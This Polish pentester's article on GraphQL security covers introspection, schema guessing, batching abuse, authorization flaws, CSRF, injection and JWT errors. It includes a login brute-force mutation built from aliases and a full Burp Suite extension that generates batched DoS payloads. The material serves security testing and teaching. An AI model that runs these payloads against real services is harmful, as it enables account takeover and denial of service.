Bezpieczeństwo GraphQL z perspektywy pentestera

Wstęp
GraphQL zyskuje na popularności jako alternatywa dla REST, oferując klientom większą elastyczność w pobieraniu danych. Jednak z punktu widzenia bezpieczeństwa ta elastyczność oraz centralizacja komunikacji w jednym punkcie końcowym API wprowadzają nowe wyzwania. Aplikacje GraphQL zwykle opierają się na pojedynczym adresie URL (np. /graphql), który akceptuje złożone zapytania opisujące, jakie dane mają zostać zwrócone.
Taka architektura sprawia, że wiele tradycyjnych mechanizmów ochronnych, takich jak filtrowanie żądań, limitowanie liczby zapytań per endpoint czy ukrywanie nieużywanych API, staje się mniej skuteczne. Dodatkowo GraphQL zapewnia bogate możliwości introspekcji oraz szczegółowe komunikaty błędów, które są przydatne dla deweloperów, ale również dla potencjalnych atakujących.
W tym artykule skupimy się na typowych z perspektywy pentestera podatnościach związanych z GraphQL. Omówimy, jak wykryć obecność GraphQL w aplikacji, zidentyfikować typowe słabości i jak je wykorzystać.
Przyjrzymy się między innymi temu, jak atakujący mogą wykorzystać introspekcję w celu poznania struktury schematu, jak przeprowadzać ataki typu Injection (podobne do SQL/NoSQL Injection), w jaki sposób nadużycia mechanizmów batchowania (aliasów i zapytań grupowych) mogą prowadzić do ataków DoS lub brute-force, jak błędy autoryzacji mogą przyczynić się do ujawnienia danych wrażliwych oraz jak złośliwie skonstruowane zapytania (fragments, recursion, excessive depth) mogą skutkować Denial of Service.
Artykuł uzupełnimy o wskazówki dotyczące testowania wymienionych wektorów ataku – podamy przykładowe payloady, narzędzia (takie jak dedykowane rozszerzenia Burp Suite, GraphQLmap, InQL, GraphQL Raider) oraz uwagi dotyczące popularnych implementacji (Apollo Server, Hasura, Graphene).
Wykrywanie endpointów GraphQL
Najpowszechniejsze endpointy GraphQL
Pierwszym krokiem w testach jest sprawdzenie, czy aplikacja korzysta z GraphQL, a jeśli tak – zlokalizowanie endpointu API, pod którym przyjmuje zapytania (zwykle /graphql). Domyślnie większość implementacji GraphQL nasłuchuje na ścieżkach URI zawierających graphql lub graphiql. Najczęściej spotykanym endpointem jest po prostu /graphql (czasem /graphql/), a interaktywna konsola deweloperska (GraphiQL) bywa dostępna pod /graphiql. Inne często spotykane ścieżki to:
- /api/graphql lub /api/graphiql
- /v1/graphql lub /v1/graphiql (np. w aplikacjach z wersjonowanym API)
- /graphql/console (często w Hasura)
- rzadziej: /graph, /graphql.php, /graphiql.php i inne
Bardziej obszerne listy znanych endpointów GraphQL znajdziesz w dedykowanych repozytoriach GitHub (np. tutaj). W praktyce automatyczne wykrywanie można przeprowadzić poprzez fuzzing znanych ścieżek, wykorzystując słowniki stworzone specjalnie pod GraphQL (zawierające dziesiątki najczęstszych endpointów).
Analiza ruchu aplikacji
Inną metodą jest analiza ruchu aplikacji (np. za pomocą narzędzi deweloperskich przeglądarki lub proxy przechwytującego). Jeśli aplikacja korzysta z GraphQL, w zakładce Network w konsoli deweloperskiej przeglądarki zobaczysz zwykle zapytania POST wysyłane do /graphql lub podobnego adresu.
Ręczna weryfikacja endpointów przy użyciu zapytań
Jeżeli nie masz dostępu do ruchu sieciowego, a chcesz szybko sprawdzić, czy dany URL obsługuje GraphQL, możesz wysłać prostą introspekcyjną query jako parametr URL (przez GET) lub w podstawowym zapytaniu POST. Przykładowo, wysłanie GET na:
https://localhost:9999/graphql?query={__schema{types{name}}}
Code language: JavaScript (javascript)
zwróci odpowiedź zawierającą dane (jeśli GraphQL działa i introspekcja jest włączona) lub komunikat błędu. Typowa odpowiedź GraphQL zawiera klucz {„errors”: […]} w formacie JSON – samo to jest silnym wskaźnikiem, że endpoint korzysta z GraphQL.
Możesz też spróbować wysłać celowo błędne zapytanie, np. ?query={thisdefinitelydoesnotexist}, i zaobserwować komunikat błędu. Jeśli GraphQL odpowie czymś w stylu „cannot query field”, potwierdza to jego obecność.
Interaktywny playground (GraphiQL)
Jeśli interfejs GraphiQL jest publicznie dostępny (np. pod /graphiql), sprawa jest oczywista – to interaktywny „plac zabaw” dla GraphQL, od razu ujawnia schemat API i pozwala wykonywać zapytania bezpośrednio z poziomu przeglądarki.
Introspekcja i enumeracja schematu GraphQL
Jedną z najpotężniejszych funkcji GraphQL – z perspektywy atakującego – jest introspekcja. Pozwala ona uzyskać pełne informacje o schemacie API: dostępnych typach, polach, zapytaniach, mutacjach, subskrypcjach i nie tylko.
Programiści używają introspekcji do generowania dokumentacji lub obsługi narzędzi takich jak GraphiQL czy Playground. Niestety, jeśli introspekcja pozostanie włączona w publicznym API produkcyjnym, atakujący może wyciągnąć pełny opis API, co znacznie ułatwia przeprowadzanie dalszych ataków.
PortSwigger podkreśla, że pozostawienie introspekcji włączonej to częsty błąd bezpieczeństwa, pozwalający atakującym „pobrać” cały schemat i zdobyć pełny obraz struktury danych oraz operacji udostępnianych przez API.
Jak działa introspekcja?
GraphQL definiuje specjalne pola rozpoczynające się od dwóch podkreślników (__). Dwa najważniejsze to __schema i __type. Zapytanie takie jak:
{ __schema { ... } }
zwraca strukturę całego schematu – typy, pola, argumenty itd. Z kolei:
{ __type(name: "TypeName") { ... } }
Code language: JavaScript (javascript)
zwraca szczegółowe informacje o konkretnym typie.
W większości przypadków wystarczy wykonać tzw. pełne zapytanie introspekcyjne (ang. full introspection query). Jest to zdefiniowane przez twórców GraphQL kompleksowe zapytanie, które zwraca pełny opis API: listę typów, ich pól, typów zwracanych, akceptowanych argumentów itd.
Przykład takiego zapytania:
POST /graphql HTTP/1.1
Host: myhost
Content-Type: application/json
Content-Length: 762
{"variables": {}, "query": "{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}", "operationName": null}
Code language: HTTP (http)
Jednym z najbardziej praktycznych narzędzi do testowania endpointów GraphQL jest rozszerzenie InQL do Burp Suite. Po wskazaniu docelowego endpointu GraphQL, InQL automatycznie wykonuje introspekcję (jeśli jest włączona) i prezentuje wszystkie dostępne zapytania, mutacje oraz typy w przejrzystym interfejsie.

Dodatkowo rozszerzenie pozwala na natychmiastową interakcję z API przez wysyłanie zapytań do Burp Repeater. Zawiera też opcję Batch Attack (wciąż eksperymentalną i czasami niestabilną).
W idealnym przypadku introspekcja powinna być wyłączona na publicznie dostępnych API produkcyjnych – zwłaszcza jeśli API nie jest przeznaczone dla klientów zewnętrznych. Niektóre platformy umożliwiają ograniczenie introspekcji do określonych ról użytkowników, np. Hasura pozwala blokować introspekcję dla wybranych ról.
Jeżeli jednak introspekcja nie jest całkowicie wyłączona, pentester może ją wykorzystać, aby uzyskać kompletną mapę do dalszych testów bezpieczeństwa.
Enumeracja schematu bez introspekcji – co jeśli introspekcja jest wyłączona?
Nawet gdy introspekcja w GraphQL jest wyłączona, nadal istnieją sposoby na enumerację schematu. GraphQL ma tendencję do zwracania szczegółowych komunikatów błędów wraz z sugestiami. Przykładowo, jeśli zapytamy o nieistniejące pole, serwer często zasugeruje podobnie brzmiące pole (tzw. field suggestions).
Na przykład zapytanie:
{ ussr { id } }
(typo w słowie „user”) może zwrócić błąd w stylu:
„Cannot query field 'ussr’… Did you mean 'user’?”
Dzięki temu atakujący może wywnioskować istnienie pola user
– nawet bez włączonej introspekcji. Takie sugestie mogą ujawniać fragmenty schematu (nazwy pól i typów), o ile aplikacja nie została odpowiednio skonfigurowana do tłumienia takich komunikatów w środowisku produkcyjnym.
Inną techniką jest fuzzing pól i typów, w którym atakujący wykorzystuje listy popularnych nazw (np. user, username, admin, password, search, createUser itp.) i obserwuje odpowiedzi serwera na zapytania.
Istnieją narzędzia automatyzujące ten proces, takie jak Clairvoyance, które pozwala zgadywać części schematu GraphQL metodą prób i błędów – nawet jeśli introspekcja jest wyłączona.
Batching i aliasowanie zapytań w GraphQL
Mechanizmy batching w GraphQL umożliwiają wykonywanie wielu operacji w jednym żądaniu HTTP. Istnieją dwa główne typy batchingu, które mogą zostać wykorzystane przez atakujących:
Array Batching (batching list)
Polega na wysłaniu tablicy JSON zawierającej wiele zapytań lub mutacji w jednym żądaniu HTTP. Jeśli serwer wspiera taką funkcjonalność, każda operacja w tablicy zostanie wykonana, a odpowiedź będzie również zwrócona w formie tablicy. Przykładowy request batch:
[
{"query": "{ firstQuery { ... } }"},
{"query": "{ secondQuery { ... } }"},
{"query": "{ thirdQuery { ... } }"}
]
Code language: JSON / JSON with Comments (json)
Dzięki temu zamiast trzech osobnych zapytań do /graphql można wykonać je wszystkie w jednym żądaniu.
Alias Batching
GraphQL umożliwia przypisywanie aliasów do pól, co pozwala wywołać ten sam resolver wiele razy w ramach jednej operacji. Umożliwia to zawarcie wielu „instancji” tego samego pola lub mutacji w jednym zapytaniu lub bloku mutacji.
Klasycznym przykładem jest brute-force haseł: zamiast wysyłać 100 osobnych żądań logowania, atakujący może wysłać jedną mutację GraphQL, która wywołuje pole login 100 razy – każdorazowo z innym hasłem i unikalnym aliasem. Na przykład:
mutation {
login(pass: "test", username: "admin")
second: login(pass: "test2", username: "admin")
third: login(pass: "test3", username: "admin")
fourth: login(pass: "test4", username: "admin")
}
Code language: JavaScript (javascript)
Tutaj mutacja login zostanie wykonana cztery razy w ramach jednego żądania HTTP. Aliasy działają również dla zapytań typu query, np. do weryfikacji wielu kodów promocyjnych w jednym zapytaniu.
Dlaczego to niebezpieczne?
Batching i aliasing pierwotnie stworzono w celu optymalizacji wydajności poprzez ograniczenie liczby żądań HTTP. Z perspektywy atakującego mechanizmy te pozwalają jednak znacząco zwiększyć intensywność operacji – bez uruchamiania tradycyjnych mechanizmów obronnych.
Omijanie limitów żądań (rate limiting)
Wiele API ogranicza liczbę żądań HTTP na sekundę z jednego IP. Na przykład przy limicie 10 req/s, atakujący mógłby normalnie zgadywać 10 haseł na sekundę. Jednak dzięki batchingowi lub aliasom może zgrupować 100 prób logowania w jednym żądaniu – całkowicie omijając limit. Jak wskazują materiały PortSwigger, aliasing skutecznie umożliwia wykonanie wielu operacji w ramach jednej wiadomości HTTP, omijając limity oparte na liczbie żądań.
Vaadata przedstawia konkretny scenariusz: jeśli limit wynosi 10 req/s, a atakujący wyśle request z 100 próbami logowania przy użyciu aliasów, serwer zarejestruje tylko jedno żądanie – ale przetworzy 100 operacji.
Wysyłając równolegle wiele takich zgrupowanych żądań, efekt rośnie wykładniczo (np. 100 requestów * 100 aliasów = 10 000 operacji, a serwer „widzi” jedynie 100 requestów).
Denial of Service (DoS)
Wykonywanie wielu operacji w jednym żądaniu znacząco obciąża serwer. Wysłanie ekstremalnie dużych batchy (setek lub tysięcy operacji w jednym żądaniu) może zająć wątki serwera na długo lub całkowicie wyczerpać pulę wątków. Nawet przy rate limiting per IP, atakujący może rotować adresami IP lub wykorzystywać brak ograniczeń na złożoność zapytań po stronie serwera.
Takie nadużycia doprowadziły już do rzeczywistych podatności – na przykład starsze wersje Apollo Server nie narzucały limitów liczby operacji w jednym żądaniu. W efekcie Apollo Server v4 domyślnie wyłączył batching array. Inne platformy, takie jak Apollo Gateway czy Hasura, mogą nadal go wspierać.
Omijanie mechanizmów 2FA i blokad kont
Niektóre systemy unieważniają kod 2FA lub nakładają cooldown po kilku nieudanych próbach. Jeśli atakujący wyśle wiele prób weryfikacji kodu w jednym requestcie GraphQL, używając aliasów, backend może przetworzyć każdą próbę niezależnie – zanim rozpozna ich liczbę.
Na przykład jeśli backend pozwala na 3 próby kodu 2FA, atakujący może wysłać 10 mutacji verifyCode w jednym żądaniu GraphQL, każdą z innym kodem. W zależności od implementacji może to pozwolić na ominięcie zabezpieczeń konta.
Rzeczywisty przypadek: CVE-2024-50311
Tego typu ataki nie są jedynie teoretyczne. Podczas jednego z naszych testów bezpieczeństwa, które przeprowadzałem (Paweł Zdunek) wspólnie z Maksymilianem Kubiakiem i Sławomirem Zakrzewskim, odkryliśmy, że aplikacja OpenShift była podatna na atak typu Denial of Service wykorzystujący alias batching. Luka ta otrzymała identyfikator CVE-2024-50311.
Narzędzia i ograniczenia
Najprostszym sposobem testowania tego rodzaju podatności jest użycie wtyczki InQL dla Burp Suite. Jednak, jak wspomniałem wcześniej, w momencie pisania tego artykułu funkcja batch attack w InQL nie była jeszcze w pełni dopracowana.
Ze względu na elastyczną składnię GraphQL generowane przez InQL payloady czasami nie są poprawne. Podczas testów na Damn Vulnerable GraphQL Application (DVGA) wielokrotnie napotykałem błędy w rodzaju:
[W][Attacker.kt:156 :: Attacker.generateAttackRequest()] Cannot find SelectionSet ("{ }") block in query id password username(capitalize: Boolean)
[E][Attacker.kt:230 :: Attacker.actionPerformed()] Failed generating attack request
Code language: CSS (css)
W związku z tym postanowiłem stworzyć i udostępnić prostą, autorską wtyczkę do Burp Suite, skupioną na stabilnym i skutecznym generowaniu payloadów do alias batching oraz array batching:
from burp import IBurpExtender, IContextMenuFactory
from javax.swing import JMenu, JMenuItem, JOptionPane
import json
import re
class BurpExtender(IBurpExtender, IContextMenuFactory):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName("GraphQL DoS Payload Generator")
callbacks.registerContextMenuFactory(self)
print("=====================================================")
print(" Invoker - by Pawel Zdunek (AFINE)")
print("=====================================================")
def createMenuItems(self, invocation):
self._invocation = invocation
menu = JMenu("GraphQL DoS Attacks")
menu.add(JMenuItem("Generate Alias-based Batching", actionPerformed=lambda x: self.generate_alias_batching()))
menu.add(JMenuItem("Generate Array-based Batching", actionPerformed=lambda x: self.generate_array_batching()))
menu.add(JMenuItem("Run Introspection Query", actionPerformed=lambda x: self.generate_introspection_query()))
return [menu]
def get_selected_request(self):
return self._invocation.getSelectedMessages()[0]
def parse_request_json(self, request_response):
request_info = self._helpers.analyzeRequest(request_response)
body_bytes = request_response.getRequest()[request_info.getBodyOffset():]
body = body_bytes.tostring()
try:
json_body = json.loads(body)
return json_body, request_info.getHeaders()
except Exception as e:
print("[!] JSON parse error:", str(e))
return None, None
def rebuild_headers(self, headers, new_body_len):
new_headers = list(headers)
for i, h in enumerate(new_headers):
if h.lower().startswith("content-length:"):
new_headers[i] = "Content-Length: {}".format(new_body_len)
return new_headers
def extract_operation_type(self, query):
match = re.match(r'\s*(query|mutation|subscription)', query)
if match:
return match.group(1)
return "query"
def extract_inner_block(self, query):
start = query.find('{')
end = query.rfind('}')
if start == -1 or end == -1:
return None
return query[start + 1:end].strip()
def inline_variables(self, query, variables):
def replacer(match):
var_name = match.group(1)
if var_name not in variables:
return match.group(0)
val = variables[var_name]
if isinstance(val, bool):
return "true" if val else "false"
elif isinstance(val, (int, float)):
return str(val)
else:
return json.dumps(val)
return re.sub(r'\$([a-zA-Z_][a-zA-Z0-9_]*)', replacer, query)
def generate_alias_batching(self):
request_response = self.get_selected_request()
json_body, headers = self.parse_request_json(request_response)
if not json_body or "query" not in json_body:
print("[!] Invalid GraphQL body for alias batching")
return
num = JOptionPane.showInputDialog("Enter number of aliases (default: 10):")
try:
alias_count = int(num)
except:
alias_count = 10
query = json_body["query"]
variables = json_body.get("variables", {})
operation_type = self.extract_operation_type(query)
inlined_query = self.inline_variables(query, variables)
inner_block = self.extract_inner_block(inlined_query)
if not inner_block:
print("[!] Could not extract inner GraphQL block")
return
batched_query = "{} {{\n".format(operation_type)
for i in range(alias_count):
batched_query += " alias{}: {}\n".format(i, inner_block)
batched_query += "}"
new_payload = {
"operationName": None,
"variables": {},
"query": batched_query
}
new_body = json.dumps(new_payload)
new_headers = self.rebuild_headers(headers, len(new_body))
new_request = self._helpers.buildHttpMessage(new_headers, new_body.encode("utf-8"))
request_response.setRequest(new_request)
print("[*] Alias-based batching applied with {} aliases.".format(alias_count))
def generate_array_batching(self):
request_response = self.get_selected_request()
json_body, headers = self.parse_request_json(request_response)
if not json_body or "query" not in json_body:
print("[!] Invalid GraphQL body for array batching")
return
num = JOptionPane.showInputDialog("Enter number of array items (default: 10):")
try:
item_count = int(num)
except:
item_count = 10
query = json_body.get("query", "")
variables = json_body.get("variables", {})
operation_name = json_body.get("operationName", None)
batch = []
for i in range(item_count):
batch.append({
"operationName": operation_name,
"variables": variables,
"query": query
})
new_body = json.dumps(batch)
new_headers = self.rebuild_headers(headers, len(new_body))
new_request = self._helpers.buildHttpMessage(new_headers, new_body.encode("utf-8"))
request_response.setRequest(new_request)
print("[*] Array-based batching applied with {} entries.".format(item_count))
def generate_introspection_query(self):
request_response = self.get_selected_request()
_, headers = self.parse_request_json(request_response)
introspection_query = {
"query": "{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}",
"variables": {},
"operationName": None
}
new_body = json.dumps(introspection_query)
new_headers = self.rebuild_headers(headers, len(new_body))
new_request = self._helpers.buildHttpMessage(new_headers, new_body.encode("utf-8"))
request_response.setRequest(new_request)
print("[*] Introspection query applied.")
Aby skorzystać ze skryptu, wystarczy zapisać go jako graphql_batch_attack.py (lub pod inną dowolną nazwą) i zaimportować do Burp Suite.
Po zaimportowaniu przechodzimy do zakładki Repeater, wybieramy dowolne żądanie do endpointu GraphQL, klikamy prawym przyciskiem i wybieramy odpowiednią opcję, np. Generate Alias-Based Batching. Wyskoczy okno, w którym możemy ustawić liczbę aliasów do wygenerowania. Im większa liczba, tym większe obciążenie serwera – pamiętaj jednak, by nie przekroczyć maksymalnego rozmiaru żądania akceptowanego przez backend, bo skończy się to błędem.


Po zatwierdzeniu, request automatycznie zaktualizuje się do odpowiedniego formatu. Możesz go następnie użyć w Intruderze, Turbo Intruderze, dosfiner.go lub innym narzędziu do przeprowadzania ataków DoS, bruteforce lub podobnych testów.
Problemy z autoryzacją i kontrolą dostępu w GraphQL
Najczęstszą klasą podatności w aplikacjach GraphQL są błędy autoryzacji. Według różnych analiz aż 54% znanych podatności GraphQL wynika z błędów w kontroli dostępu. Wynika to z faktu, że GraphQL nie zapewnia wbudowanych mechanizmów kontroli dostępu w ramach swojej architektury.
Odpowiedzialność za kontrolę dostępu spoczywa całkowicie na programistach i konfiguracji backendu. W praktyce sprzyja to błędom – wystarczy, że pojedynczy resolver nie sprawdzi uprawnień, a użytkownicy mogą uzyskać dostęp do wrażliwych danych lub funkcji.
Typowe błędy autoryzacji w GraphQL:
Brak ograniczeń dostępu do pól (Field-Level Authorization)
Przykładowo, jeśli w schemacie istnieje pole Query.adminStats przeznaczone tylko dla administratorów, aplikacja może zakładać, że wywołają je wyłącznie osoby z odpowiednimi uprawnieniami. Jeśli jednak sprawdzenie ról nie zostanie zaimplementowane w resolverze, każde zapytanie – nawet od niezalogowanego użytkownika – może zwrócić te dane.
Dodatkowo introspekcja ułatwia atakującym odnalezienie takich pól. Nawet jeśli introspekcja jest wyłączona, możliwe jest zgadywanie nazw pól, takich jak isAdmin czy role w obiekcie User. Jeśli backend nie filtruje tych pól, mogą zostać ujawnione.
Brak różnicowania poziomów dostępu do operacji
Podobny problem, ale na poziomie mutacji lub zapytań – na przykład, mutacja deleteUser(id: ID!) powinna być dostępna tylko dla adminów. Jeśli programista zapomni zaimplementować to ograniczenie, zwykły użytkownik może usunąć dowolne konto, jeśli zna jego ID. GraphQL dodatkowo utrudnia ukrywanie takich operacji, ponieważ wszystkie są dostępne przez jeden endpoint.
Choć niektóre systemy rozdzielają schematy adminów i użytkowników, wiele korzysta z monolitycznych schematów zawierających operacje dla obu grup – co sprawia, że zapewnienie odpowiednich kontroli dostępu jest krytycznie ważne.
Błędna logika autoryzacji
Czasami developerzy stosują naiwne modele, np. whitelisting operacji na podstawie ich nazw. Przykład opisywany przez Vaadata: aplikacja definiowała reguły dostępu na podstawie nazw operacji GraphQL.
Niezalogowany użytkownik mógł wywołać getPastes, ale nie systemHealth. Jednak GraphQL umożliwia pobranie wielu pól w jednym zapytaniu. Jeśli implementacja sprawdzała tylko nazwę operacji, a nie jej pola, atakujący mógł obejść zabezpieczenie zapytaniem:
query getPastesBypass {
getPastes { id title }
systemHealth { status uptime }
}
Mimo braku uprawnień do systemHealth, dane zostały zwrócone, ponieważ mechanizm autoryzacji sprawdzał jedynie nazwę operacji (getPastes) i ignorował faktyczne pola w zapytaniu.
GraphQL, choć niezwykle elastyczny i nowoczesny, wprowadza również unikalne wektory ataków, których nie ma w tradycyjnych REST API. Błędy autoryzacji należą do najpoważniejszych i najczęściej występujących – dlatego projektując i testując aplikacje GraphQL, należy wdrażać dokładne kontrole uprawnień na każdym etapie: zarówno na poziomie całych operacji, jak i pojedynczych pól.
Rzeczywisty przypadek: Snapchat (HackerOne Report #1819832)
W 2023 roku ujawniono krytyczną podatność w API GraphQL aplikacji Snapchat za pośrednictwem platformy HackerOne. Problemem był IDOR (Insecure Direct Object Reference) w mutacji deleteStorySnaps. Podając identyfikator snapów należących do innego użytkownika, atakujący mógł je usunąć bez żadnej autoryzacji.
Resolver nie weryfikował, czy osoba wykonująca zapytanie jest właścicielem zasobu. Co istotne, dostęp do tego resolvera nie był ograniczony żadnymi kontrolami autoryzacji na poziomie definicji API. Pokazuje to, że nawet duże, dojrzałe platformy mogą wprowadzić krytyczne błędy projektowe w implementacji GraphQL. Nagroda za znalezienie tej podatności wyniosła 15 000 USD.
Testowanie autoryzacji w GraphQL
Testowanie autoryzacji w GraphQL przebiega zgodnie z klasycznymi metodykami. Należy rozpocząć od konta o niskich uprawnieniach i spróbować uzyskać dostęp do wszystkich dostępnych zapytań, mutacji oraz pól – zazwyczaj wykrytych dzięki introspekcji.
Następnie należy porównać wyniki z tymi, które otrzymuje konto o wysokich uprawnieniach lub z dokumentacją API, aby ustalić, czy dostęp do danych lub operacji jest przyznawany nieautoryzowanym użytkownikom. Ważne jest także przetestowanie dostępu całkowicie nieautoryzowanego (bez tokena), ponieważ niektóre API mogą przypadkowo ujawniać funkcje anonimowym użytkownikom (np. endpointy rejestracji lub zapytania o dane publiczne).
Błędy autoryzacji w GraphQL są szczególnie groźne, ponieważ często prowadzą do eskalacji uprawnień, wycieków danych lub nieautoryzowanego dostępu do funkcji – a więc realnych i poważnych zagrożeń bezpieczeństwa.
CSRF w GraphQL – zagrożenia i sposoby ochrony
Cross-Site Request Forgery (CSRF) pozostaje istotnym zagrożeniem w aplikacjach GraphQL, jeśli nie zostaną wdrożone odpowiednie zabezpieczenia. Choć GraphQL najczęściej korzysta z JSON w ciele zapytania – co samo w sobie ogranicza ryzyko – nie eliminuje ono w pełni podatności na CSRF. Wiele implementacji serwerowych nadal akceptuje inne typy treści lub nawet zapytania GET, co ponownie otwiera drogę do tego ataku.
Jeśli API zezwala na operacje modyfikujące stan (mutacje) za pomocą zapytań GET, złośliwa strona może osadzić tag <img>
lub <script>
, który wywoła zapytanie GraphQL do podatnego endpointu.
W momencie odwiedzenia takiej strony przez ofiarę, przeglądarka automatycznie wykona zapytanie, dołączając uwierzytelnienie (np. cookies sesyjne). W efekcie atakujący może wymusić wykonanie niechcianych działań w aplikacji w kontekście zalogowanego użytkownika.
Warto pamiętać, że skuteczność CSRF zależy od wielu czynników, w tym:
- mechanizmu autoryzacji (np. cookies sesyjne vs JWT w nagłówkach),
- obecności i konfiguracji zabezpieczeń przeglądarki, takich jak atrybut SameSite w cookies.
Testowanie podatności CSRF w GraphQL
Z perspektywy pentestera testowanie CSRF w GraphQL sprowadza się do sprawdzenia, czy można wysłać zapytanie cross-origin bez interakcji użytkownika. Skuteczne metody to:
- PoC oparte na formularzu HTML – utworzenie prostego formularza przesyłającego mutację GraphQL przy użyciu pól ukrytych, zwłaszcza jeśli serwer akceptuje
application/x-www-form-urlencoded
lubmultipart/form-data
. - PoC oparte na GET – jeśli API akceptuje mutacje przez GET, umieszczenie zapytania w URL i załadowanie go przez
<img>
lub<script>
na stronie kontrolowanej przez atakującego.
Jeśli takie zapytania kończą się sukcesem (np. zmianą danych ofiary), oznacza to niewystarczające zabezpieczenia przed CSRF lub ich brak.
Zabezpieczenia przed CSRF w GraphQL
Aby skutecznie chronić API GraphQL przed CSRF, należy:
- Wymuszać metodę POST dla mutacji i odrzucać zapytania GET zmieniające stan.
- Stosować tokeny anty-CSRF w przypadku autoryzacji sesyjnej.
- Walidować nagłówki Origin i Referer, by upewnić się, że zapytania pochodzą z zaufanych domen.
- Ustawiać atrybut SameSite w cookies sesyjnych (
SameSite=Strict
lubLax
). - Wyłączyć obsługę innych typów treści niż JSON, chyba że są absolutnie konieczne.
Narzędzia takie jak Burp Suite potrafią automatycznie generować PoC CSRF dla zapytań GraphQL, co ułatwia potwierdzenie podatności w kontrolowanym środowisku.
Poprawne zaimplementowanie tych ustawień gwarantuje, że GraphQL API są odporne na ataki CSRF, nawet w złożonych środowiskach produkcyjnych.
Ataki z grupy Injection w GraphQL
Na backendzie GraphQL jest po prostu kolejnym interfejsem API – zapytania ostatecznie komunikują się z bazami danych lub usługami wewnętrznymi, podobnie jak w REST. Oznacza to, że klasyczne podatności po stronie serwera, takie jak SQL Injection, Command Injection, XSS i inne, pozostają aktualne.
Główna różnica polega na składni i punkcie wejścia złośliwego payloadu. Niepoprawne implementacje resolverów mogą prowadzić do wielu rodzajów ataków typu injection, w tym mniej oczywistych:
- SQL Injection – atakujący wstrzykuje złośliwe zapytania SQL poprzez parametry w GraphQL, jeśli resolver buduje zapytania SQL przez konkatenację zamiast stosować zapytania parametryzowane.
- NoSQL Injection – analogicznie, lecz w bazach NoSQL (np. MongoDB). Jeśli input nie jest poprawnie filtrowany, możliwe jest wstrzyknięcie struktur JSON lub operatorów specjalnych (np.
$ne
,$gt
), co zmienia logikę zapytania (np.{"$ne": null}
umożliwiające ominięcie autoryzacji). - Server-Side Template Injection (SSTI) – wstrzyknięcie składni szablonów w silniki renderujące po stronie serwera, np. przy generowaniu emaili, PDF lub HTML z niezabezpieczonym inputem.
- Server-Side Request Forgery (SSRF) – SSRF polega na wykorzystaniu resolverów akceptujących URL jako input i pobierających zasoby bez walidacji domeny.
- Remote Code Execution (RCE) przez resolvery – RCE może wystąpić gdy input użytkownika jest przekazany do niebezpiecznych funkcji po stronie serwera, np. gdy input użytkownika trafia do funkcji takich jak
eval()
,exec()
lubsystem()
. Bez odpowiednich ograniczeń, atakujący może wstrzyknąć komendy powłoki lub kod wykonywany na serwerze.
Najczęściej podatne obszary w GraphQL
W praktyce następujące elementy aplikacji są szczególnie podatne na ataki typu injection:
- Mutacje przyjmujące dynamiczne dane od użytkownika.
- Operacje przesyłania plików (np. gdy nazwy plików lub ścieżki są wykorzystywane w wywołaniach systemowych).
- Resolvary komunikujące się z funkcjami systemowymi, wykonujące komendy lub korzystające z silników szablonów.
Przykładowo, resolver wykonujący exec("git pull " + userInput)
jest trywialnie podatny na RCE. Mutacja akceptująca URL w celu pobrania pliku może zostać wykorzystana do SSRF, jeśli domena nie jest odpowiednio walidowana.
Krótko mówiąc, GraphQL nie eliminuje podatności backendowych – zmienia jedynie sposób strukturyzacji i przesyłania danych. Bez prawidłowej walidacji inputu, sanitizacji i bezpiecznych praktyk programistycznych, API GraphQL pozostają podatne na te same ataki injection co tradycyjne REST API.
Typowe błędy w używaniu JWT w aplikacjach GraphQL
Użycie algorytmu „none”
Akceptowanie JWT z polem alg ustawionym na „none” (czyli brak podpisu) pozwala atakującemu na podrobienie ważnego tokena bez znajomości klucza. Wystarczy zmienić nagłówek alg na „none” i usunąć podpis – niektóre błędne implementacje bibliotek nadal uznają taki token za ważny, całkowicie omijając mechanizm uwierzytelniania.
Zamieszanie HS256/RS256
Podatność ta pojawia się, gdy aplikacja oczekuje tokena podpisanego za pomocą RSA (RS256), ale nie weryfikuje poprawnie typu algorytmu. Atakujący może zmienić algorytm na HMAC (HS256) i podpisać token publicznym kluczem RSA traktowanym jako tajny klucz symetryczny.
Jeśli implementacja nie sprawdza typu algorytmu ani rodzaju klucza, zaakceptuje sfałszowany token jako ważny – umożliwiając atakującemu tworzenie dowolnych JWT i podszywanie się pod użytkowników.
Brak weryfikacji podpisu
Jeśli aplikacja dekoduje JWT bez sprawdzenia podpisu (np. używając funkcji decode-only zamiast verify), możliwa jest dowolna modyfikacja payloadu. Atakujący może zmienić claimy takie jak userId, rola lub uprawnienia i uzyskać nieautoryzowany dostęp. To krytyczny błąd w obsłudze sesji JWT.
Brak daty ważności lub błędna logika odświeżania
Tokeny bez pola exp (expiration) nigdy nie wygasają, co staje się niebezpieczne w przypadku ich wycieku. Błędna logika refresh tokenów również wprowadza ryzyko – np. pozwalając na nieskończone odświeżanie tego samego tokena lub niewycofywanie starych tokenów po wydaniu nowego. Bezpieczna implementacja powinna:
- Przydzielać tokenom rozsądny czas życia,
- Odrzucać tokeny wygasłe,
- Poprawnie zarządzać procesem odświeżania, aby uniemożliwić przejęcie sesji na czas nieokreślony.
Najczęstsze zagrożenia bezpieczeństwa w subskrypcjach WebSocket GraphQL
Subskrypcje GraphQL wprowadzają nowe wektory ataków ze względu na ich stanowy, długotrwały charakter. Pentester powinien zwrócić uwagę na następujące ryzyka i scenariusze ataków podczas oceny GraphQL-over-WebSocket:
